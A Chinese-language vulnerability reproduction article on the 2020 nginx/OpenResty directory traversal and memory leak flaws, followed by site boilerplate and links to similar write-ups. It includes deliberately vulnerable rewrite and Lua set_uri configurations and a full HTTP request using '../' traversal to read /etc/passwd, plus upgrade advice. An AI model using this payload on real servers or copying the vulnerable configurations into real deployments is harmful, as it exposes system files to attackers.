Nginx/OpenResty目录穿越漏洞复现

这篇具有很好参考价值的文章主要介绍了Nginx/OpenResty目录穿越漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Nginx/OpenResty目录穿越漏洞复现

漏洞背景:

2020年03月18日, 360CERT监测发现 openwall oss-security 邮件组披露了两枚漏洞。在特定配置下 nginx/openresty 存在 内存泄漏漏洞/目录穿越漏洞。

Nginx 是异步框架的网页服务器,也可以用作反向代理、负载平衡器和HTTP缓存。

OpenResty是一个基于nginx的Web平台,它对nginx增加LuaJIT引擎使其运行Lua脚本。

影响版本:

nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)

openresty <= v1.15.8.2

环境复现:

操作系统centos7。
        安装 nginx 版本选择了 1.17.7
        修改 rewrite 配置

//directory traversal
location ~ /rewrite {
   rewrite ^.*$ $arg_x;
}

带着 payload 请求 /rewrite 目录 读取passwd文件下的密码

GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

返回响应后的内容。

Nginx/OpenResty目录穿越漏洞复现

 在 openresty v1.15.8.2 测试,同样可以复现

环境搭建:

采用刚搭建的 nginx 1.17.7,安装 lua-nginx-module,需要重新编译nginx,安装编译过程可参见:地址
配置nginx.conf

//memleak
location ~ /memleak {
    rewrite_by_lua_block {
        ngx.req.read_body();
        local args, err = ngx.req.get_post_args();
        ngx.req.set_uri( args["url"], true );
    }
}

这里采用openresty v1.15.8.2 版本,成功复现(lua-nginx-module-0.10.15 以上版本会报错

Nginx/OpenResty目录穿越漏洞复现

打码处为回显。

修复建议:

建议用户关注并依据实际业务评估漏洞风险影响,可通过如下方案进行加固修复,避免安全风险;

nginx :升级版本至 v1.17.9 或应用 commit a5895eb502747f396d3901a948834cd87d5fb0c3;

openresty :排查配置文件中 rewrite 以及 ngx.req.set_uri ,建议临时禁用相关配置。文章来源地址https://www.toymoban.com/news/detail-409734.html

到了这里,关于Nginx/OpenResty目录穿越漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

    1. 漏洞简介 Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部

    2024年02月04日
    浏览(58)
  • 【漏洞复现】Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2021-42013 漏洞名称 Apache HTTP_2.4.50_路径穿越漏洞 漏洞评级 高危 影响范围 2.4.49 2.4.50 漏洞描述 CVE-2021-42013是由CVE-2021-41773的不完整修复导致的漏洞,攻击者可以使用路径遍历攻击将

    2024年02月05日
    浏览(34)
  • 目录穿越/遍历漏洞及对其防御方法的绕过

      目录穿越(目录遍历)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。目录穿越不仅可以访问服务器中的任何目录,还可以访问服务器中任何文件的内

    2024年02月11日
    浏览(36)
  • 腾讯云coding平台平台inda目录遍历漏洞复现

    其实就是一个python的库可以遍历到,并不能遍历到别的路径下,后续可利用性不大,并且目前这个平台私有部署量不多,大多都是用腾讯云在线部署的。 CODING DevOps 是面向软件研发团队的一站式研发协作管理平台,提供从需求到设计、开发、构建、测试、发布到部署的全流程

    2024年02月11日
    浏览(39)
  • Nginx 解析漏洞复现

    如下介绍kali搭建的教程 docker-compose ps 使用这条命令查看当前正在运行的环境 访问http://you-ip/ 该漏洞与Nginx、php版本无关,属于用户配

    2024年02月16日
    浏览(43)
  • Nginx 配置错误漏洞复现

    1、CRLF注入漏洞 描述 CRLF是”回车 + 换

    2024年02月13日
    浏览(46)
  • Apache nginx解析漏洞复现

    将nginx解压后放到c盘根目录下: 运行startup.bat启动环境: 在HTML文件夹下有它的主页文件: nginx在遇到后缀名有php的文件时,会将该文件给php解释器处理,在读取文件时如果遇到00时就读取结束

    2024年02月09日
    浏览(41)
  • docker复现Nginx配置漏洞

    目录 1.docker环境搭建 2.复现过程 2.1CRLF(carriage return/line feed)注入漏洞  2.2.目录穿越  2.3.add_header覆盖 1.安装docker 2.下载并解压docker环境Nginx配置漏洞安装包 链接:https://pan.baidu.com/s/1gL4_ZUbY5mA-qo6sG5-yWQ?pwd=s6l9  提取码:s6l9 cd到对应目录下,docker启容器 安装好后,用docker ps -a查看

    2024年02月13日
    浏览(38)
  • docker复现nginx错误配置漏洞

    目录 一、nginx环境搭建 1.1搭建步骤  二、docker复现Nginx配置漏洞  2.1安装docker  2.2复现过程 2.1CRLF(carriage return/line feed)注入漏洞  2.2.目录穿越 1.先创建 Nginx 的目录并进入(命令如下) 2.下载 Nginx 的安装包,可以通过 FTP 工具上传离线环境包,也可通过 wget 命令在线获取安装包

    2024年02月13日
    浏览(36)
  • 【Nginx】nginx目录遍历漏洞

    除了X-Forwarded-For伪造客户端IP漏洞,发现还要修改关于目录遍历的漏洞,这里简单记录一下。 Nginx 目录遍历(Nginx Directory Traversal)是一种安全漏洞,通常会影响 Nginx 服务器上的 Web 应用程序。该漏洞允许攻击者通过利用应用程序代码中的错误配置或代码漏洞,来访问系统中未

    2024年02月13日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包